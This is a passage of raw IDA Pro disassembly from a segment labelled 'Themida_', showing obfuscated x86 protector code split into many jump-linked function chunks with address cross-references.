		mov	edx, 53636369h
		xor	edx, 2FE22EC9h
		xor	edx, 7C814DA4h
		add	esi, edx
		pop	edx
		jmp	loc_5626B6
; END OF FUNCTION CHUNK	FOR sub_56D4B8

; =============== S U B	R O U T	I N E =======================================



sub_569CBC	proc near		; DATA XREF: Themida_:0055FEA0o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560115 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563454 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005641F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565890 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565AA0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565B9C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00565CDB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00566CE2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569B93 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569E71 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570448 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00571B9F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00573911 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574EFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005752AB SIZE 00000006 BYTES

		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_560115
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_573911
sub_569CBC	endp

; ---------------------------------------------------------------------------


loc_569CDC:				; DATA XREF: Themida_:0055FDF8o
		pop	dword ptr [edi+40h]
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_569CE4:				; CODE XREF: sub_5673C3-32F2j
		add	ebp, edx
		sub	ebp, 3E323620h
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		xor	ebp, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], ebp
		xor	ebp, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		push	58C0h
		jmp	loc_562E8D
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_569D08:				; CODE XREF: sub_56AEF2+523Ej
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+4+var_4]
		jmp	loc_56B50D
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_569D16:				; CODE XREF: sub_565A8D+A48Ej
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5709F6
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_569D2F:				; CODE XREF: sub_56B06D-606Aj
		pop	eax
		jmp	sub_564686
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_569D35:				; CODE XREF: sub_572141-6F35j
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5682FE
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_569D40:				; CODE XREF: sub_5678CB+BFBAj
		mov	bh, ch
		sub	bh, 1
		jmp	loc_56B5D0
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_569D4A:				; CODE XREF: sub_575420-C08Bj
		mov	cl, byte ptr [esp+0Ch+var_C]
		add	esp, 2
		neg	cl
		jmp	loc_566406
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_569D57:				; CODE XREF: sub_5687A3+1EC6j
		add	ebx, ecx
		push	eax
		jmp	sub_563819
; END OF FUNCTION CHUNK	FOR sub_5687A3

; =============== S U B	R O U T	I N E =======================================



sub_569D5F	proc near		; CODE XREF: sub_572805-7744j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005614EE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056342A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056A416 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056AA41 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056AAA2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E848 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574CCE SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	ecx
		mov	cl, 5Ah
		jmp	loc_5614EE
sub_569D5F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD97


loc_569D6D:				; CODE XREF: sub_56FD97+16j
		pop	ebp
		sub	eax, ebx
		push	esi
		jmp	loc_562A1A
; END OF FUNCTION CHUNK	FOR sub_56FD97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_569D76:				; CODE XREF: sub_563A7F+11A6Bj
		mov	al, 2
		sub	bl, al
		pop	eax
		add	bl, al
		jmp	loc_5619F8
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_569D82:				; CODE XREF: sub_56616D+565Bj
		mov	esi, [esp-10h+arg_C]
		add	esp, 4
		push	1F41h
		mov	[esp-10h+arg_C], ecx
		mov	ecx, 4791185Ch
		shl	ecx, 2
		jmp	loc_56D2BF
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_569D9D:				; CODE XREF: sub_5604FE+BB95j
		xor	esi, 4249AC14h
		xor	edi, esi
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	ecx, edi
		jmp	loc_56C883
; END OF FUNCTION CHUNK	FOR sub_5604FE

; =============== S U B	R O U T	I N E =======================================



sub_569DB5	proc near		; DATA XREF: Themida_:0055FEECo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00562A9A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00563197 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005644D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566BF2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00566CAC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567105 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005698A4 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056B994 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0056CD82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570848 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571466 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00571AAB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00571F7A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572470 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00573428 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005738D2 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00574E99 SIZE 00000039 BYTES

		mov	cx, [esp+0]
		push	138Ah
		jmp	loc_571F7A
sub_569DB5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_569DC3:				; CODE XREF: sub_56102D+284Fj
		pop	edx
		add	ecx, 73B8274Fh
		add	ecx, edi
		push	ebx
		jmp	loc_569B21
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_569DD2:				; CODE XREF: sub_56651E+8D0Ej
		pop	ebp
		add	ebp, 4
		jmp	loc_564786
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_569DDE:				; CODE XREF: sub_571F6F+65Cj
		add	edi, 4
		push	707Bh
		mov	[esp+12h+var_14+2], edi
		push	[esp+12h+var_E]
		push	[esp+16h+var_18+2]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		pop	[esp+12h+var_14+2]
		mov	esp, [esp+0Eh+var_E]
		sub	bl, 3
		jmp	loc_56EFBA
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_569E0A:				; CODE XREF: sub_56FB8A-C0DFj
		sub	edi, 5DBE384h
		sub	ebx, 0BF466B3h
		jmp	loc_56BC2D
; END OF FUNCTION CHUNK	FOR sub_56FB8A

; =============== S U B	R O U T	I N E =======================================



sub_569E1B	proc near		; DATA XREF: Themida_:0055FEE0o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056076A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00562FF4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00564494 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00565F82 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568989 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BD1A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D315 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E310 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005709B8 SIZE 00000012 BYTES

		lodsb
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_564494
sub_569E1B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561C21


loc_569E33:				; CODE XREF: sub_561C21+6j
		pop	edx
		xor	bh, 8Dh
		sub	al, bh
		pop	ebx
		shl	al, 3
		push	ax
		not	[esp+2+var_2]
		pop	ax
		sub	al, 0C0h
		jmp	loc_575150
; END OF FUNCTION CHUNK	FOR sub_561C21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_569E4B:				; CODE XREF: sub_56B11B-9184j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		xchg	ecx, [esp+8+var_8]
		pop	esp
		or	edx, eax
		jmp	loc_5670B8
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_569E5C:				; CODE XREF: sub_570732-5C5Fj
		push	[esp+0Ch+var_8]
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		pop	[esp+0Ch+var_C]
		jmp	loc_56C7D6
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569CBC


loc_569E71:				; CODE XREF: sub_569CBC-4214j
		push	ecx
		mov	ecx, 4
		jmp	loc_570448
; END OF FUNCTION CHUNK	FOR sub_569CBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_569E7C:				; CODE XREF: sub_570732-CE53j
		add	esp, 4
		mov	ecx, [esp+10h+var_10]
		jmp	loc_56D36F
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_569E87:				; CODE XREF: sub_56657A+3D4Cj
		sub	ebx, ecx
		jmp	loc_560F0B
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------


loc_569E8E:				; CODE XREF: Themida_:0056F024j
		add	ebx, eax
		jmp	loc_571D1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_569E95:				; CODE XREF: sub_572641-CD96j
		add	al, 0E9h
		add	al, bl
		push	dx
		mov	dh, 0E9h
		sub	al, dh
		pop	dx
		jmp	loc_564F33
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_569EA6:				; CODE XREF: sub_569B75+35D4j
		dec	ebp
		jmp	loc_563973
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_569EAC:				; CODE XREF: sub_570E81+Cj
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 7CF80834h
		push	ecx
		jmp	loc_564615
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56208F


loc_569EBD:				; CODE XREF: sub_56208F+3j
		mov	[esp+4+var_4], esi
		jmp	loc_56BBE3
; END OF FUNCTION CHUNK	FOR sub_56208F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_569EC5:				; CODE XREF: sub_56638C-3DD0j
		xor	ecx, 123138B7h
		sub	edx, ecx
		pop	ecx
		push	eax
		mov	eax, 330B3E16h
		jmp	loc_570AD3
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_569ED9:				; CODE XREF: sub_561418+10124j
		pop	edx
		push	ebx
		jmp	loc_5627CE
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_569EE0:				; CODE XREF: sub_570CE4-103FEj
		mov	esp, [esp+14h+var_14]
		jmp	loc_5643CF
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_569EE8:				; CODE XREF: sub_560056+CACEj
		add	eax, ebp
		pop	ebp
		jmp	loc_56CA31
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E4D4


loc_569EF0:				; CODE XREF: sub_56E4D4-AA00j
		add	esp, 4
		jmp	loc_568867
; END OF FUNCTION CHUNK	FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_569EFB:				; CODE XREF: sub_571C93+B44j
		xor	ecx, 34EE7BDFh
		sub	ebx, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5697C0
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_569F11:				; CODE XREF: sub_572641-7002j
		mov	bl, 0Ch
		jmp	loc_5729FF
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_569F18:				; CODE XREF: sub_566400+61DCj
		pop	ebx
		push	esi
		mov	esi, 0F90F1F6Fh
		add	edx, 44865FC7h
		add	edx, esi
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		push	ecx
		mov	ecx, 2EF83A6Bh
		mov	ebx, 6A7E65ACh
		xor	ebx, ecx
		pop	ecx
		sub	edx, 3D281226h
		sub	edx, ebx
		add	edx, 3D281226h
		pop	ebx
		jmp	loc_569B7B
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_569F52:				; CODE XREF: sub_56671D-2F81j
		add	al, bl
		sub	al, 0D9h
		sub	al, 0B6h
		jmp	loc_57318B
; END OF FUNCTION CHUNK	FOR sub_56671D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_569F5D:				; CODE XREF: sub_5733CA-2532j
		mov	ecx, ebp
		jmp	loc_56D1D5
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_569F64:				; CODE XREF: sub_57354D-B59j
		add	edi, edx
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+4+var_4], edi
		push	dword ptr [esp+4]
		mov	edi, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		jmp	loc_56A3E8
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_569F8E:				; CODE XREF: sub_56E126+9AFj
		pop	esi
		std
		sub	esp, 4
		jmp	loc_564B52
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_569F98:				; CODE XREF: sub_57354D-8EB5j
		shl	ebp, 5
		push	ecx
		push	edx
		mov	edx, 277F25CBh
		push	edx
		pop	ecx
		pop	edx
		add	ecx, 89E5B299h
		jmp	loc_5668A2
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_569FB0:				; CODE XREF: sub_564D26+A50Ej
		push	[esp+10h+var_10]
		jmp	loc_56B544
; END OF FUNCTION CHUNK	FOR sub_564D26

; =============== S U B	R O U T	I N E =======================================



sub_569FB8	proc near		; DATA XREF: Themida_:0055FDA4o

var_12		= dword	ptr -12h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= dword	ptr -6
var_2		= word ptr -2

; FUNCTION CHUNK AT 00560643 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560E64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561316 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005656C3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00565E25 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A598 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056AA8D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AF14 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C180 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C3BF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056D8BC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DB6F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056DD83 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056E03F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F3BB SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00570314 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570A83 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570B11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00570DDE SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00571BE6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005745CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00575160 SIZE 0000000F BYTES

		lodsb
		xor	al, bl
		jmp	loc_560E64
sub_569FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_569FC0:				; CODE XREF: sub_56DA43-C302j
		pop	edi
		push	ebp
		not	[esp+14h+var_14]
		mov	ebp, [esp+14h+var_14]
		jmp	loc_56DD0A
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------


loc_569FCD:				; CODE XREF: Themida_:00564CAAj
		mov	esp, [esp]
		push	edi
		jmp	loc_56224D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_569FD6:				; CODE XREF: sub_566DC7+1EBCj
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_56E195
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_569FEE:				; CODE XREF: sub_572641-CFA6j
		mov	edx, [esp+2+var_4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_564A0A
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_56A005:				; CODE XREF: sub_574F16-12615j
		mov	cl, 8Eh
		add	cl, 12h
		jmp	loc_5706FE
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56A00F:				; CODE XREF: sub_56CD13-568Ej
		push	ecx
		push	edx
		jmp	loc_5741DB
; END OF FUNCTION CHUNK	FOR sub_56CD13

; =============== S U B	R O U T	I N E =======================================



sub_56A016	proc near		; CODE XREF: sub_5745B5-7AD2j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00567EA2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C0C8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E3F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005711D6 SIZE 00000011 BYTES

		push	ebx
		mov	bl, 63h
		xor	ch, bl
		pop	ebx
		add	ch, 77h
		xor	bh, ch
		pop	ecx
		jmp	loc_56E3F5
sub_56A016	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_56A027:				; CODE XREF: sub_563BCC+ECD0j
		mov	[esp+0], ebx
		push	49731C13h
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		jmp	loc_562C41
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_56A03E:				; CODE XREF: sub_56638C+8A3Fj
		push	edx
		push	[esp+10h+var_C]
		pop	edx
		pop	[esp+10h+var_10]
		jmp	loc_568111
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_56A04C:				; CODE XREF: sub_56A119-70BEj
		xor	edi, [esp+0]
		pop	esp
		mov	ebx, eax
		pop	eax
		mov	[eax], ebx
		jmp	loc_570D3D
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56A05A:				; CODE XREF: sub_5678CB-4BE0j
		add	edi, 6EC3756Fh
		jmp	loc_560307
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_56A065:				; CODE XREF: sub_560CF1+13A9Ej
		add	esp, 4
		pop	ecx
		xchg	edi, ecx
		jmp	loc_572AA6
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------


loc_56A070:				; CODE XREF: Themida_:0056706Dj
		mov	[esp], ebx
		push	eax
		push	7FBB480Ah
		jmp	loc_5693FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_56A07E:				; CODE XREF: sub_567B29+82ABj
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 22014F06h
		mov	eax, ecx
		pop	ecx
		mov	edx, 6B862C8Dh
		jmp	sub_5716A0
; END OF FUNCTION CHUNK	FOR sub_567B29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_56A093:				; CODE XREF: sub_564BC5+3B4j
		mov	edx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_56EA1A
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56A0A1:				; CODE XREF: sub_5605BC+FB42j
		mov	[esp+24h+var_24], edi
		mov	edi, 55323CCh
		sub	ecx, edi
		pop	edi
		push	eax
		mov	eax, 8DA2892h
		dec	eax
		jmp	sub_561418
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_56A0B8:				; CODE XREF: sub_56351E+F7E5j
		mov	cx, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_572EC6
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_56A0C4:				; CODE XREF: sub_56AEF2-6957j
		push	355h
		mov	[esp-8+arg_4], edi
		push	7EE5h
		jmp	loc_5644B6
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56A0D6:				; CODE XREF: sub_56616D+816Ej
		mov	edi, [esp-10h+arg_C]
		sub	esp, 4
		mov	[esp-0Ch+arg_8], esi
		push	esp
		pop	esi
		push	edi
		mov	edi, 614C3EACh
		and	edi, 0C922979h
		jmp	loc_56F9B5
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_56A0F5:				; CODE XREF: Themida_:0057200Dj
		push	edx
		push	edi
		mov	edi, 2
		sub	esp, 4
		mov	[esp], edi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_560CB5

; =============== S U B	R O U T	I N E =======================================



sub_56A119	proc near		; CODE XREF: sub_56D2D2+Ej

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0056304F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563A54 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056A04C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A8A2 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056FC95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570D3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570F5B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0057116D SIZE 00000008 BYTES

		push	ebp
		mov	ebp, 6DC0BD9h
		or	ebp, 461B7A15h
		neg	ebp
		add	ebp, 62CA0ACEh
		and	ebp, 233C291Eh
		jmp	loc_56A8A2
sub_56A119	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_56A138:				; CODE XREF: sub_570CE4-8C3Dj
		pop	eax
		jmp	loc_572AE6
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_56A13E:				; CODE XREF: sub_5745B5-13B5Bj
		mov	ch, 52h
		and	ch, 0A5h
		inc	ch
		and	ch, 0B2h
		and	ch, 64h
		not	ch
		jmp	loc_56FF8A
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_56A152:				; CODE XREF: sub_566400-2239j
		mov	eax, 53F45171h
		mov	edx, 0E992EB6Eh
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 5D314439h
		shr	edi, 6
		shr	edi, 6
		jmp	loc_56D155
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_56A170:				; CODE XREF: sub_56E96D+18C4j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_573211
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56A17B:				; CODE XREF: sub_57354D-1998j
		xor	edx, eax
		xor	eax, edx
		xor	edx, eax
		jmp	loc_5656B5
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56A186:				; CODE XREF: sub_56FB8A-9797j
		shr	ebx, 1
		jmp	loc_560B04
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------


loc_56A18D:				; CODE XREF: Themida_:0056E786j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 501C5826h
		sub	ebp, 352C421Ch
		add	ebp, eax
		jmp	loc_57239B
; ---------------------------------------------------------------------------


loc_56A1A8:				; CODE XREF: Themida_:00574123j
		pop	ecx
		jmp	loc_56BE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_56A1AE:				; CODE XREF: sub_566C83-37Dj
		push	ecx
		mov	ecx, 7B555136h
		mov	esi, 872225CCh
		jmp	loc_5630D8
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B71F


loc_56A1BE:				; CODE XREF: sub_56B71F+2C78j
		mov	edx, 49FC535Dh
		xor	edx, ebp
		jmp	loc_56EFDD
; END OF FUNCTION CHUNK	FOR sub_56B71F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56A1CA:				; CODE XREF: sub_571C93-84D1j
		add	ebx, 426029B8h
		add	ebx, 3DE26461h
		movzx	ax, byte ptr [eax]
		push	small 72F5h
		mov	word ptr [esp+2+var_4+2], ax
		jmp	loc_55FF9F
